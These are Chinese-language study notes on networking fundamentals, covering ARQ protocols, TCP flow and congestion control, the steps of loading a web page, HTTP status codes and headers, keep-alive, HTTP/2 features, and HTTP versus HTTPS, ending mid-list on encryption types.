自动重传请求(Automatic Repeat-reQuest)是OSI模型中数据链路层和传输层的错误纠正协议之一。它通过使用确认和超时这两个机制,在不可靠服务的基础上实现可靠的信息传输。如果发送方在发送后一段时间之内没有收到确认帧,它通常会重新发送。ARQ包括停止等待ARQ协议连续ARQ协议

停止等待ARQ协议

停止等待协议是为了实现可靠传输的,它的基本原理就是每发完一个分组就停止发送,等待对方确认(回复ACK),如果过了一段时间(超时时间),还是没有收到ACK确认,说明没有发送成功,需要重新发送,直到收到确认后再发下一个分组。

在停止等待协议中,若接收方收到重复分组,就丢弃该分组,但同时还要发送确认

优点:简单

缺点:信道利用率低等待时间长

无差错情况

发送方法送分组,接收方在规定时间内收到,并且回复确认,发送方再次发送。

出现差错情况(超时重传)

停止等待协议中超时重传是指只要超过一段时间仍然没有收到确认,就重传前面发送过的分组(认为刚才发送过的分组丢失了)。因此每发送完一个分组需要设置一个超时计时器,其重传时间应比数据在分组传输的平均往返时间更长一些。这种自动重传方式常称为自动重传请求 ARQ。另外在停止等待协议中若收到重复分组,就丢弃该分组,但同时还要发送确认。连续 ARQ 协议可提高信道利用率。发送维持一个发送窗口,凡位于发送窗口内的分组可连续发送出去,而不需要等待对方确认。接收方一般采用累积确认,对按序到达的最后一个分组发送确认,表明到这个分组位置的所有分组都已经正确收到了。

确认丢失和确认迟到

  • 确认丢失:确认消息在传输过程丢失。当A发送M1消息,B收到后,B向A发送了一个M1确认消息,但却在传输过程中丢失。而A并不知道,在超时计时过后,A重传M1消息,B再次收到该消息后采取以下两点措施:
    1. 丢弃这个重复的M1消息,不向上层交付。
    2. 向A发送确认消息。(不会认为已经发送过了,就不再发送。A能重传,就证明B的确认消息丢失)。
  • 确认迟到:确认消息在传输过程中迟到。A发送M1消息,B收到并发送确认。在超时时间内没有收到确认消息,A重传M1消息,B仍然收到并继续发送确认消息(B收到了2份M1)。此时A收到了B第二次发送的确认消息。接着发送其他数据。过了一会,A收到了B第一次发送的对M1的确认消息(A也收到了2份确认消息)。处理如下:
    1. A收到重复的确认后,直接丢弃。
    2. B收到重复的M1后,也直接丢弃重复的M1。

连续ARQ协议

连续 ARQ 协议可提高信道利用率。发送方维持一个发送窗口,凡位于发送窗口内的分组可以连续发送出去,而不需要等待对方确认。接收方一般采用累计确认,对按序到达的最后一个分组发送确认,表明到这个分组为止的所有分组都已经正确收到了。

优点: 信道利用率高,容易实现,即使确认丢失,也不必重传。

缺点: 不能向发送方反映出接收方已经正确收到的所有分组的信息。比如:发送方发送了 5 条消息,中间第三条丢失(3号),这时接收方只能对前两个发送确认。发送方无法知道后三个分组的下落,而只好把后三个全部重传一次。这也叫 Go-Back-N(回退 N),表示需要退回来重传已经发送过的 N 个消息。

滑动窗口和流量控制

窗口是缓存的一部分,用来暂时存放字节流。发送方和接收方各有一个窗口,接收方通过 TCP 报文段中的窗口字段告诉发送方自己的窗口大小,发送方根据这个值和其它信息设置自己的窗口大小

发送窗口内的字节都允许被发送,接收窗口内的字节都允许被接收。如果发送窗口左部的字节已经发送并且收到了确认,那么就将发送窗口向右滑动一定距离,直到左部第一个字节不是已发送并且已确认的状态;接收窗口的滑动类似,接收窗口左部字节已经发送确认并交付主机,就向右滑动接收窗口。

接收窗口只会对窗口内最后一个按序到达的字节进行确认,例如接收窗口已经收到的字节为 {31, 34, 35},其中 {31} 按序到达,而 {34, 35} 就不是,因此只对字节 31 进行确认。发送方得到一个字节的确认之后,就知道这个字节之前的所有字节都已经被接收。

TCP滑动窗口

TCP 利用滑动窗口实现流量控制。流量控制是为了控制发送方发送速率,保证接收方来得及接收。 接收方发送的确认报文中的窗口字段可以用来控制发送方窗口大小,从而影响发送方的发送速率。将窗口字段设置为 0,则发送方不能发送数据。

拥塞控制

在某段时间,若对网络中某一资源的需求超过了该资源所能提供的可用部分,网络的性能就要变坏。这种情况就叫拥塞。拥塞控制就是为了防止过多的数据注入到网络中,这样就可以使网络中的路由器或链路不致过载。拥塞控制所要做的都有一个前提,就是网络能够承受现有的网络负荷。拥塞控制是一个全局性的过程,涉及到所有的主机,所有的路由器,以及与降低网络传输性能有关的所有因素。相反,流量控制往往是点对点通信量的控制,是个端到端的问题。流量控制所要做到的就是抑制发送端发送数据的速率,以便使接收端来得及接收。

为了进行拥塞控制,TCP 发送方要维持一个拥塞窗口(cwnd)的状态变量。拥塞控制窗口的大小取决于网络的拥塞程度,并且动态变化。发送方让自己的发送窗口取为拥塞窗口和接收方的接受窗口中较小的一个

TCP的拥塞控制采用了四种算法,即慢开始 、 拥塞避免 、快重传和快恢复。在网络层也可以使路由器采用适当的分组丢弃策略(如主动队列管理 AQM),以减少网络拥塞的发生。

慢开始

慢开始算法的思路是当主机开始发送数据时,如果立即把大量数据字节注入到网络,那么可能会引起网络阻塞,因为现在还不知道网络的符合情况。经验表明,较好的方法是先探测一下,即由小到大逐渐增大发送窗口,也就是由小到大逐渐增大拥塞窗口数值。在旧的规定中是这样的,先把初始拥塞窗口 cwnd 设置为 1 至 2 个发送方的最大报文段 SMSS 的数值,但新的 RFC 5681 把初始拥塞窗口 cwdn 设置为不超过 2 至 4 个 SMSS 的数值,每经过一个传播轮次,cwnd加倍(2,4,8…)。为了防止拥塞窗口 cwnd 增长过大引起网络拥塞,还需要设置一个慢开始门限 ssthresh 状态变量。慢开始门限 ssthresh 的用法如下:

  1. 当 cwnd < ssthresh 时,使用上述慢开始算法
  2. 当 cwnd > ssthresh 时,停止使用慢开始算法而改用拥塞避免算法
  3. 当 cwnd = ssthresh 时,既可以使用慢开始算法,也可以使用拥塞避免算法

拥塞避免

拥塞避免算法的思路是让拥塞窗口cwnd缓慢增大,即每经过一个往返时间RTT就把发送方的cwnd加1。按线性规律缓慢增长,比慢开始算法的拥塞窗口增长速率缓慢得多。

需要注意,拥塞避免并非完全能够避免拥塞,而是说把拥塞窗口控制为按线性规律增长,使网络比较不容易出现拥塞。

快重传与快恢复

在接收方,要求每次接收到报文段都应该对最后一个已收到的有序报文段进行确认。例如已经接收到 M1 和 M2,此时收到 M4,应当发送对 M2 的确认。

有时,个别报文段会在网络中丢失,但实际上网络并未发生拥塞。如果发送方迟迟收不到确认,就会产生超时,就会误认为网络发生了拥塞。这就导致发送方错误地启动慢开始,把拥塞窗口 cwnd 又设置为 1,因而降低了传输效率。采用快重传算法可以让发送方尽早知道发生了个别报文段的丢失。

在发送方,如果收到三个重复确认,那么可以知道下一个报文段丢失,此时执行快重传,立即重传下一个报文段。例如收到三个 M2,则 M3 丢失,立即重传 M3。

在这种情况下,只是丢失个别报文段,而不是网络拥塞。因此执行快恢复,令ssthresh = cwnd / 2 ,cwnd = ssthresh,注意到此时直接进入拥塞避免。

慢开始和快恢复的快慢指的是cwnd的设定值,而不是cwnd的增长速率。慢开始cwnd设定为 1,而快恢复cwnd设定为ssthresh
在 TCP/IP 中,快速重传和恢复(fast retransmit and recovery,FRR)是一种拥塞控制算法,它能快速恢复丢失的数据包。没有FRR,如果数据包丢失了,TCP 将会使用定时器来要求传输暂停。在暂停的这段时间内,没有新的或复制的数据包被发送。有了FRR,如果接收机接收到一个不按顺序的数据段,它会立即给发送机发送一个重复确认。如果发送机接收到三个重复确认,它会假定确认件指出的数据段丢失了,并立即重传这些丢失的数据段。有了FRR,就不会因为重传时要求的暂停被耽误。当有单独的数据包丢失时,快速重传和恢复(FRR)能最有效地工作。当有多个数据信息包在某一段很短的时间内丢失时,它则不能很有效地工作。

整体的情况如下:

慢开始与拥塞避免算法

在浏览器中输入url地址到显示主页这个过程发生了什么

总体来说分为以下几个过程:

  1. DHCP配置主机信息
  2. ARP解析MAC地址
  3. DNS解析
  4. TCP连接
  5. 发送HTTP请求
  6. 服务器处理请求并返回HTTP报文
  7. 浏览器解析渲染页面
  8. 连接结束

DHCP配置主机信息

假设主机最开始没有IP地址以及其他信息,那么它就需要先使用DHCP(动态主机配置协议)来获取。主机生成一个DHCP请求报文,并将这个报文放入具有目的端口67和源端口68的UDP报文段中。该报文段被放置在一个具有广播IP目的地址(255.255.255.255)和源IP地址(0.0.0.0)的IP数据报中。该数据报又被放置在MAC帧中,该帧具有目的地址FF:FF:FF:FF:FF:FF,将广播到与交换机连接的所有设备。连接在交换机的 DHCP 服务器收到广播帧之后,不断地向上分解得到 IP 数据报、UDP 报文段、DHCP 请求报文,之后生成 DHCP ACK 报文,该报文包含以下信息:IP 地址、DNS 服务器的 IP 地址、默认网关路由器的 IP 地址和子网掩码。该报文被放入 UDP 报文段中,UDP 报文段又被放入 IP 数据报中,最后放入 MAC 帧中。该帧的目的地址是请求主机的 MAC 地址,因为交换机具有自学习能力,之前主机发送了广播帧之后就记录了 MAC 地址到其转发接口的交换表项,因此现在交换机就可以直接知道应该向哪个接口发送该帧。主机收到该帧后,不断分解得到 DHCP 报文。之后就配置它的 IP 地址、子网掩码和 DNS 服务器的 IP 地址,并在其 IP 转发表中安装默认网关。

ARP解析MAC地址

主机通过浏览器生成一个TCP套接字,套接字向HTTP服务器发送HTTP请求,为了生成该套接字,主机需要知道网站的域名对应的IP地址。主机生成一个 DNS查询报文,该报文具有 53 号端口,因为 DNS 服务器的端口号是 53。该 DNS 查询报文被放入目的地址为 DNS 服务器 IP 地址的 IP 数据报中。该 IP 数据报被放入一个以太网帧中,该帧将发送到网关路由器。DHCP 过程只知道网关路由器的 IP 地址,为了获取网关路由器的 MAC 地址,需要使用 ARP 协议。主机生成一个包含目的地址为网关路由器 IP 地址的 ARP 查询报文,将该 ARP 查询报文放入一个具有广播目的地址(FF:FF:FF:FF:FF:FF)的以太网帧中,并向交换机发送该以太网帧,交换机将该帧转发给所有的连接设备,包括网关路由器。网关路由器接收到该帧后,不断向上分解得到 ARP 报文,发现其中的 IP 地址与其接口的 IP 地址匹配,因此就发送一个 ARP 回答报文,包含了它的 MAC 地址,发回给主机。

DNS解析

DNS是一个分布式数据库,提供了主机名和 IP 地址之间相互转换的服务。这里的分布式数据库是指,每个站点只保留它自己的那部分数据。

域名具有层次结构,从上到下依次为:根域名、顶级域名、二级域名。

DNS

DNS 可以使用 UDP 或者 TCP 进行传输,使用的端口号都为 53。大多数情况下 DNS 使用 UDP 进行传输,这就要求域名解析器和域名服务器都必须自己处理超时和重传从而保证可靠性。在两种情况下会使用 TCP 进行传输:

  • 如果返回的响应超过的 512 字节(UDP 最大只支持 512 字节的数据)。
  • 区域传送(区域传送是主域名服务器向辅助域名服务器传送变化的那部分数据)。

DNS解析是一个递归查询ip地址的过程。

ip地址查询过程

首先在本地域名服务器中查询ip地址,如果没有找到,本地域名服务器会向根域名服务器发送一个请求,如果根域名服务器也不存在该域名时,本地域名会向com顶级域名服务器发送一个请求,如果还没有,则继续直到最后本地域名服务器得到域名的ip地址并把它缓存到本地,供下次查询时使用。

可以看出,域名的解析是一个从右到左的过程:com->google.com->www.google.com。在实际上,真正的域名是www.google.com.,这里的.是对应的根域名服务器,默认情况下所有的网址都有最后一个.,既然是默认情况下,为了方便用户,通常都会省略,浏览器在请求DNS的时候会自动加上,所有网址真正的解析过程为: . -> .com -> google.com. -> www.google.com.

DNS存在着多级缓存,从离浏览器的距离排序的话,有以下几种:浏览器缓存、系统缓存、路由器缓存、IPS服务器缓存、根域名服务器缓存、顶级域名服务器缓存、主域名服务器缓存。

TCP连接和HTTP请求

浏览器向Web服务器发送一个HTTP请求,HTTP协议是使用 TCP 协议作为其传输层协议的,当TCP出现瓶颈时,HTTP也会受到影响。

HTTP报文是包裹在TCP报文中发送的,服务器端收到TCP报文时会解包提取出HTTP报文。但是这个过程中存在一定的风险,HTTP报文是明文,如果中间被截取的话会存在一些信息泄露的风险。那么在进入TCP报文之前对HTTP做一次加密就可以解决这个问题了。HTTPS协议的本质就是HTTP + SSL(or TLS)。在HTTP报文进入TCP报文之前,先使用SSL对HTTP报文进行加密。从网络的层级结构看它位于HTTP协议与TCP协议之间。

HTTPS在传输数据之前需要客户端与服务器进行一个握手(TLS/SSL握手),在握手过程中将确立双方加密传输数据的密码信息。TLS/SSL使用了非对称加密,对称加密以及hash等。HTTPS相比于HTTP,虽然提供了安全保证,但是势必会带来一些时间上的损耗,如握手和加密等过程,是否使用HTTPS需要根据具体情况在安全和性能方面做出权衡。

发送HTTP请求的过程就是构建HTTP请求报文并通过TCP协议中发送到服务器指定端口(HTTP协议80/8080, HTTPS协议443)。HTTP请求报文是由三部分组成:请求行,请求报头和请求正文。

服务端处理并返回HTTP报文

后端从在固定的端口接收到TCP报文开始,这一部分对应于编程语言中的socket。它会对TCP连接进行处理,对HTTP协议进行解析,并按照报文格式进一步封装成HTTP Request对象,供上层使用。这一部分工作一般是由Web服务器去进行。

HTTP响应报文也是由三部分组成: 状态码, 响应报头和响应报文。

浏览器解析渲染页面

对HTML,CSS进行渲染,JS解析由浏览器中的JS解析引擎完成。

用到的协议

  • DHCP协议:动态主机配置协议,提供了即插即用的连网方式,用户不再需要手动配置 IP 地址等信息。
  • DNS协议:获取域名对应IP
  • TCP协议:与服务器建立TCP连接
  • HTTP协议:在TCP建立后,使用HTTP协议访问网页
  • OPSF协议:IP数据包在路由器之间,路由选择使用OPSF协议
  • ARP协议:路由器在与服务器通信时,需要将ip地址转化为MAC地址,需要使用ARP协议
  • PPP协议和CSMA/CD协议:数据链路层的点对点信道和广播信道使用的协议

状态码

状态码

1XX 信息

  • 100 Continue:表明到目前为止都很正常,客户端可以继续发送请求或者忽略这个响应

2XX 成功

  • 200 OK
  • 204 No Content:请求已经成功处理,但是返回的响应报文不包含实体的主体部分,一般在只需要从客户端往服务器发送信息,而不需要返回数据时使用
  • 206 Partial Content:表示客户端进行了范围请求,响应报文包含由Content-Range指定的范围的实体内容

3XX 重定向

  • 301 Moved Permanently:永久重定向
  • 302 Found:临时重定向
  • 303 See Other:与302有着相同的功能,但是303明确要求客户端应该采用GET方法获取资源。

    注:虽然 HTTP 协议规定 301、302 状态下重定向时不允许把 POST 方法改成 GET 方法,但是大多数浏览器都会在 301、302 和 303 状态下的重定向把 POST 方法改成 GET 方法。

  • 304 Not Modified:如果请求报文首部包含一些条件:If-Match,If-Modified-SinceIf-None-Match,If-Range,If-Unmodified-Since,如果不满足条件,则服务器回返回 304 状态码
  • 307 Temporary Redirect:临时重定向,与302的含义类似,但是307要求浏览器不会把重定向请求的POST方法改为GET方法

4XX 客户端错误

  • 400 Bad Request:请求报文中存在语法错误
  • 401 Unauthorized:该状态码表示发送的请求需要有认证信息(BASIC 认证,DIGEST 认证)。如果前面已进行过一次,则表示用户认证失败。
  • 403 Forbidden:请求被拒绝
  • 404 Not Found

5XX 服务器错误

  • 500 Internal Server Error:服务器正在执行请求时发生错误
  • 502 Bad Gateway:网关错误,往往是由于 CPU 使用过满、数据库连接数过大、内存不足、甚至是内存溢出等等因素诱发导致
  • 503 Service Unavailable:服务器暂时处于超负载或正在进行停机维护,现在无法处理请求

301和302的区别

定义

301:被请求的资源已永久移动到新位置,并且将来任何对此资源的引用都应该使用本响应返回的若干个 URI 之一。如果可能,拥有链接编辑功能的客户端应当自动把请求的地址修改为从服务器反馈回来的地址。除非额外指定,否则这个响应也是可缓存的。

302:请求的资源现在临时从不同的 URI 响应请求。由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求。只有在Cache-Control或Expires中进行了指定的情况下,这个响应才是可缓存的。

两者都是一个POST请求经过 301/302 后会被浏览器转为GET请求

缓存

定义上已经给出,对于301请求,浏览器是默认给一个很长的缓存。而302是不缓存的。

搜索引擎

301: 旧地址A的资源不可访问了(永久移除), 重定向到网址B,搜索引擎会抓取网址B的内容,同时将网址保存为B网址。

302: 旧地址A的资源仍可访问,这个重定向只是临时从旧地址A跳转到B地址,这时搜索引擎会抓取B网址内容,但是会将网址保存为A的。

安全

尽量使用301跳转,以防止网址劫持!

假如,A -> B。大部分的搜索引擎在大部分情况下,当收到 302 重定向时,有的时候搜索引擎,尤其是Google,并不能总是抓取目标网址。比如说,有的时候A 网址很短,但是它做了一个302 重定向到 B 网址,而 B 网址是一个很长的乱七八糟的 URL 网址,甚至还有可能包含一些问号之类的参数。很自然的,A 网址更加用户友好,而 B 网址既难看,又不用户友好。这时Google 很有可能会仍然显示网址A。由于搜索引擎排名算法只是程序而不是人,在遇到 302 重定向的时候,并不能像人一样的去准确判定哪一个网址更适当,这就造成了网址 URL 劫持的可能性。也就是说,一个不道德的人在他自己的网址A 做一个 302 重定向到你的网址B,出于某种原因, Google 搜索结果所显示的仍然是网址A,但是所用的网页内容却是网址 B 上的内容,这种情况就叫做网址URL 劫持。

你辛辛苦苦所写的内容就这样被别人偷走了。302 重定向所造成的网址URL 劫持现象,已经存在一段时间了。不过到目前为止,似乎也没有什么更好的解决方法。在正在进行的谷歌大爸爸数据中心转换中,302 重定向问题也是要被解决的目标之一。从一些搜索结果来看,网址劫持现象有所改善,但是并没有完全解决。

简单来说就是:有个坏人把他的电话来电转移到了一个明星那,让大家都以为他的电话是那个明星的。他的手机号成名后,就可以拉个微信群,大胆的假装明星,实现他的微shang梦,从此走上人生巅峰。

HTTP 协议

HTTP 协议是超文本传输协议的缩写,英文是 Hyper Text Transfer Protocol。它是从 WEB 服务器传输超文本标记语言(HTML)到本地浏览器的传送协议。

设计 HTTP 最初的目的是为了提供一种发布和接收 HTML 页面的方法。

HTTP 有多个版本,目前广泛使用的是HTTP/1.1版本。

HTTP 是一个基于 TCP/IP 通信协议来传递数据的协议,传输的数据类型为HTML 文件、图片文件, 查询结果等。

HTTP协议一般用于 B/S 架构。浏览器作为 HTTP 客户端通过 URL 向 HTTP 服务端即 WEB 服务器发送所有请求。

HTTP 的特点

  • http 协议支持客户端/服务端模式,也是一种请求/响应模式的协议。
  • 简单快速:客户向服务器请求服务时,只需传送请求方法和路径。请求方法常用的有GET、HEAD、POST。
  • 灵活:HTTP 允许传输多种类型的数据对象。传输的类型由 Content-Type 加以标记。
  • 无连接:限制每次连接只处理一个请求。服务器处理完请求,并收到客户的应答后,即断开连接,但是却不利于客户端与服务器保持会话连接,为了弥补这种不足,产生了两项记录 http 状态的技术,一个叫做 Cookie,一个叫做 Session。
  • 无状态:无状态是指协议对于事务处理没有记忆,后续处理需要前面的信息,则必须重传。

HTTP 报文组成

HTTP 报文分为请求报文和响应报文。

请求报文构成:

  • 请求行:包括请求方法、URL、协议/版本
  • 请求头(Request Header)
  • 请求正文

HTTP请求报文

HTTP请求结构

响应报文构成:

  • 状态行
  • 响应头
  • 响应正文

HTTP响应报文

HTTP 首部

有 4 种类型的首部字段:通用首部字段、请求首部字段、响应首部字段和实体首部字段。

各种首部字段及其含义如下(不需要全记,仅供查阅):

通用首部字段

首部字段名 说明
Cache-Control 控制缓存的行为
Connection 控制不再转发给代理的首部字段、管理持久连接
Date 创建报文的日期时间
Pragma 报文指令
Trailer 报文末端的首部一览
Transfer-Encoding 指定报文主体的传输编码方式
Upgrade 升级为其他协议
Via 代理服务器的相关信息
Warning 错误通知

请求首部字段

首部字段名 说明
Accept 用户代理可处理的媒体类型
Accept-Charset 优先的字符集
Accept-Encoding 优先的内容编码
Accept-Language 优先的语言(自然语言)
Authorization Web 认证信息
Expect 期待服务器的特定行为
From 用户的电子邮箱地址
Host 请求资源所在服务器
If-Match 比较实体标记(ETag)
If-Modified-Since 比较资源的更新时间
If-None-Match 比较实体标记(与 If-Match 相反)
If-Range 资源未更新时发送实体 Byte 的范围请求
If-Unmodified-Since 比较资源的更新时间(与 If-Modified-Since 相反)
Max-Forwards 最大传输逐跳数
Proxy-Authorization 代理服务器要求客户端的认证信息
Range 实体的字节范围请求
Referer 对请求中 URI 的原始获取方
TE 传输编码的优先级
User-Agent HTTP 客户端程序的信息

响应首部字段

首部字段名 说明
Accept-Ranges 是否接受字节范围请求
Age 推算资源创建经过时间
ETag 资源的匹配信息
Location 令客户端重定向至指定 URI
Proxy-Authenticate 代理服务器对客户端的认证信息
Retry-After 对再次发起请求的时机要求
Server HTTP 服务器的安装信息
Vary 代理服务器缓存的管理信息
WWW-Authenticate 服务器对客户端的认证信息

实体首部字段

首部字段名 说明
Allow 资源可支持的 HTTP 方法
Content-Encoding 实体主体适用的编码方式
Content-Language 实体主体的自然语言
Content-Length 实体主体的大小
Content-Location 替代对应资源的 URI
Content-MD5 实体主体的报文摘要
Content-Range 实体主体的位置范围
Content-Type 实体主体的媒体类型
Expires 实体主体过期的日期时间
Last-Modified 资源的最后修改日期时间

HTTP协议与各协议之间的关系

各种协议与HTTP协议之间的关系:

HTTP与各协议之间的关系

HTTP长连接和短连接

HTTP/1.0中默认使用短连接。也就是说,客户端和服务器每进行一次HTTP操作,就建立一次连接,任务结束就中断连接。当客户端浏览器访问的某个HTML或其他类型的Web页中包含有其他的Web资源(如JavaScript文件、图像文件、CSS文件等),每遇到这样一个Web资源,浏览器就会重新建立一个HTTP会话。

而从HTTP/1.1起,默认使用长连接,用以保持连接特性。使用长连接的HTTP协议,会在响应头加入这行代码:

Connection:keep-alive

在使用长连接的情况下,当一个网页打开完成后,客户端和服务器之间用于传输 HTTP 数据的 TCP 连接不会关闭,客户端再次访问这个服务器时,会继续使用这一条已经建立的连接。Keep-Alive 不会永久保持连接,它有一个保持时间,可以在不同的服务器软件(如Apache)中设定这个时间。实现长连接需要客户端和服务端都支持长连接。

Httpd 守护进程,一般都提供了 keep-alive timeout 时间设置参数。比如 nginx 的 keepalive_timeout,和 Apache 的 KeepAliveTimeout。这个 keepalive_timout 时间值意味着:一个 http 产生的 tcp 连接在传送完最后一个响应后,还需要保持 keepalive_timeout 秒后,才开始关闭这个连接。

当 httpd 守护进程发送完一个响应后,理应马上主动关闭相应的 tcp 连接,设置 keepalive_timeout 后,httpd守护进程会想说:”再等等吧,看看浏览器还有没有请求过来”,这一等,便是 keepalive_timeout 时间。如果守护进程在这个等待的时间里,一直没有收到浏览发过来 http 请求,则关闭这个 http 连接。

HTTP协议的长连接和短连接,实质上是TCP协议的长连接和短连接。但是需要区别于 TCP 的 keepalive。

HTTP Keep-alive 和 TCP keepalive

在使用 TCP 长连接(复用已建立 TCP 连接)的场景下,需要对 TCP 连接进行保活,避免被网关干掉连接。
在应用层,可以通过定时发送心跳包的方式实现。而 Linux 已提供的 TCP KEEPALIVE,在应用层可不关心心跳包何时发送、发送什么内容,由 OS 管理:OS 会在该TCP连接上定时发送探测包,探测包既起到连接保活的作用,也能自动检测连接的有效性,并自动关闭无效连接。

所以,HTTP 协议的 keep-alive 意图在于连接复用,同一个连接上串行方式传递请求-响应数据,TCP 的 keepalive 机制意图在于保活、心跳,检测连接错误。

长连接如何进行保活

对于客户端而言,使用 TCP 长连接来实现业务的好处在于:在当前连接可用的情况下,每一次请求都只是简单的数据发送和接受,免去了 DNS 解析,连接建立,TCP 慢启动等时间,大大加快了请求的速度,同时也有利于接收服务器的实时消息。

在使用TCP长连接的业务场景下,保持长连接的可用性非常重要。如果长连接无法很好地保持,在连接已经失效的情况下继续发送请求会导致迟迟收不到响应直到超时,又需要一次连接建立的过程,其效率甚至还不如直接使用短连接。而连接保持的前提必然是检测连接的可用性,并在连接不可用时主动放弃当前连接并建立新的连接。

keepalive 是 TCP 保鲜定时器,当网络两端建立了 TCP 连接之后,闲置idle(双方没有任何数据流发送往来)了 tcp_keepalive_time 后,服务器内核就会尝试向客户端发送侦测包,来判断 TCP 连接状况(有可能客户端崩溃、强制关闭了应用、主机不可达等等)。如果没有收到对方的回答(ack包),则会在 tcp_keepalive_intvl 后再次尝试发送侦测包,直到收到对方的 ack,如果一直没有收到对方的 ack,一共会尝试 tcp_keepalive_probes 次,每次的间隔时间在这里分别是15s, 30s, 45s, 60s, 75s。如果尝试 tcp_keepalive_probes,依然没有收到对方的 ack 包,则会丢弃该TCP连接。TCP 连接默认闲置时间是 2 小时,一般设置为 30 分钟足够了。

TCP中Keepalive工作流程

HTTP是不保存状态的协议,如何保存用户状态?

HTTP 是一种不保存状态,即无状态(stateless)协议。也就是说 HTTP 协议自身不对请求和响应之间的通信状态进行保存。那么我们保存用户状态呢?Session机制的存在就是为了解决这个问题,Session的主要作用就是通过服务端记录用户的状态。典型的场景是购物车,当你要添加商品到购物车的时候,系统不知道是哪个用户操作的,因为 HTTP 协议是无状态的。服务端给特定的用户创建特定的Session之后就可以标识这个用户并且跟踪这个用户了(一般情况下,服务器会在一定时间内保存这个Session,过了时间限制,就会销毁这个Session)。

在服务端保存Session的方法很多,最常用的就是内存和数据库(比如是使用内存数据库redis保存)。

既然Session存放在服务器端,那么我们如何实现Session跟踪呢?大部分情况下,我们都是通过在Cookie中附加一个Session ID来方式来跟踪。

Cookie被禁用怎么办?

最常用的就是利用 URL 重写把Session ID直接附加在URL路径的后面。

HTTP1.0和HTTP1.1主要区别是什么?HTTP2呢?

HTTP1.0最早在网页中使用是在1996年,那个时候只是使用一些较为简单的网页上和网络请求上,而HTTP1.1则在1999年才开始广泛应用于现在的各大浏览器网络请求中,同时HTTP1.1也是当前使用最为广泛的HTTP协议。 主要区别主要体现在:

  • 长连接 : 在HTTP/1.0中,默认使用的是短连接,也就是说每次请求都要重新建立一次连接。HTTP 是基于TCP/IP协议的,每一次建立或者断开连接都需要三次握手四次挥手的开销,如果每次请求都要这样的话,开销会比较大。因此最好能维持一个长连接,可以用个长连接来发多个请求。HTTP 1.1起,默认使用长连接 ,默认开启Connection: keep-alive。 HTTP/1.1的持续连接有非流水线方式流水线方式。流水线方式是客户在收到HTTP的响应报文之前就能接着发送新的请求报文。与之相对应的非流水线方式是客户在收到前一个响应后才能发送下一个请求。
  • 错误状态响应码:在HTTP1.1中新增了24个错误状态响应码,如409(Conflict)表示请求的资源与资源的当前状态发生冲突;410(Gone)表示服务器上的某个资源被永久性的删除。
  • 缓存处理 :在HTTP1.0中主要使用header里的If-Modified-Since,Expires来做为缓存判断的标准,HTTP1.1则引入了更多的缓存控制策略例如Entity tagIf-Unmodified-Since,If-Match,If-None-Match等更多可供选择的缓存头来控制缓存策略。
  • 带宽优化及网络连接的使用:HTTP1.0中,存在一些浪费带宽的现象,例如客户端只是需要某个对象的一部分,而服务器却将整个对象送过来了,并且不支持断点续传功能,HTTP1.1则在请求头引入了range头域,它允许只请求资源的某个部分,即返回码是206(Partial Content),这样就方便了开发者自由的选择以便于充分利用带宽和连接。

HTTP2与HTTP1区别

二进制协议

HTTP/1.1 版的头信息肯定是文本(ASCII编码),数据体可以是文本,也可以是二进制。HTTP/2 则是一个彻底的二进制协议,头信息和数据体都是二进制,并且统称为”帧”(frame):头信息帧和数据帧。

二进制协议的一个好处是,可以定义额外的帧。HTTP/2 定义了近十种帧,为将来的高级应用打好了基础。如果使用文本实现这种功能,解析数据将会变得非常麻烦,二进制解析则方便得多。

多工

HTTP/2 复用 TCP 连接,在一个连接里,客户端和浏览器都可以同时发送多个请求或回应,而且不用按照顺序一一对应,这样就避免了”队头堵塞”。

举例来说,在一个 TCP 连接里面,服务器同时收到了 A 请求和 B 请求,于是先回应 A 请求,结果发现处理过程非常耗时,于是就发送A请求已经处理好的部分, 接着回应B请求,完成后,再发送A请求剩下的部分。

这样双向的、实时的通信,就叫做多工(Multiplexing)。

数据流

因为 HTTP/2 的数据包是不按顺序发送的,同一个连接里面连续的数据包,可能属于不同的回应。因此,必须要对数据包做标记,指出它属于哪个回应。

HTTP/2 将每个请求或回应的所有数据包,称为一个数据流(stream)。每个数据流都有一个独一无二的编号。数据包发送的时候,都必须标记数据流ID,用来区分它属于哪个数据流。另外还规定,客户端发出的数据流,ID一律为奇数,服务器发出的,ID为偶数。

数据流发送到一半的时候,客户端和服务器都可以发送信号(RST_STREAM帧),取消这个数据流。1.1版取消数据流的唯一方法,就是关闭TCP连接。这就是说,HTTP/2 可以取消某一次请求,同时保证TCP连接还打开着,可以被其他请求使用。

客户端还可以指定数据流的优先级。优先级越高,服务器就会越早回应。

头信息压缩

HTTP 协议不带有状态,每次请求都必须附上所有信息。所以,请求的很多字段都是重复的,比如 Cookie 和 User Agent,一模一样的内容,每次请求都必须附带,这会浪费很多带宽,也影响速度。

HTTP/2 对这一点做了优化,引入了头信息压缩机制(header compression)。一方面,头信息使用 gzip 或 compress 压缩后再发送;另一方面,客户端和服务器同时维护一张头信息表,所有字段都会存入这个表,生成一个索引号,以后就不发送同样字段了,只发送索引号,这样就提高速度了。

服务器推送

HTTP/2 允许服务器未经请求,主动向客户端发送资源,这叫做服务器推送(server push)。

常见场景是客户端请求一个网页,这个网页里面包含很多静态资源。正常情况下,客户端必须收到网页后,解析HTML源码,发现有静态资源,再发出静态资源请求。其实,服务器可以预期到客户端请求网页后,很可能会再请求静态资源,所以就主动把这些静态资源随着网页一起发给客户端了。

URI和URL的区别是什么?

  • URI(Uniform Resource Identifier) 是统一资源标志符,可以唯一标识一个资源。它包含 URL 和 URN

URI包含URL和URN

  • URL(Uniform Resource Location) 是统一资源定位符,可以提供该资源的路径。它是一种具体的 URI,即 URL 可以用来标识一个资源,而且还指明了如何 locate 这个资源。

URI的作用像身份证号一样,URL的作用更像家庭住址一样。URL是一种具体的URI,它不仅唯一标识资源,而且还提供了定位该资源的信息。

HTTP和HTTPS的区别

  1. 端口 :HTTP的URL由http://起始且默认使用端口80,而HTTPS的URL由https://起始且默认使用端口443
  2. 安全性和资源消耗: HTTP协议运行在TCP之上,所有传输的内容都是明文,客户端和服务器端都无法验证对方的身份。HTTPS是运行在SSL/TLS之上的HTTP协议,SSL/TLS 运行在TCP之上。所有传输的内容都经过加密,加密采用对称加密,但对称加密的密钥用服务器方的证书进行了非对称加密。所以说,HTTP 安全性没有 HTTPS高,但是 HTTPS 比HTTP耗费更多服务器资源。
  • 对称加密:密钥只有一个,加密解密为同一个密码,且加解密速度快,典型的对称加密算法有DES、AES等;
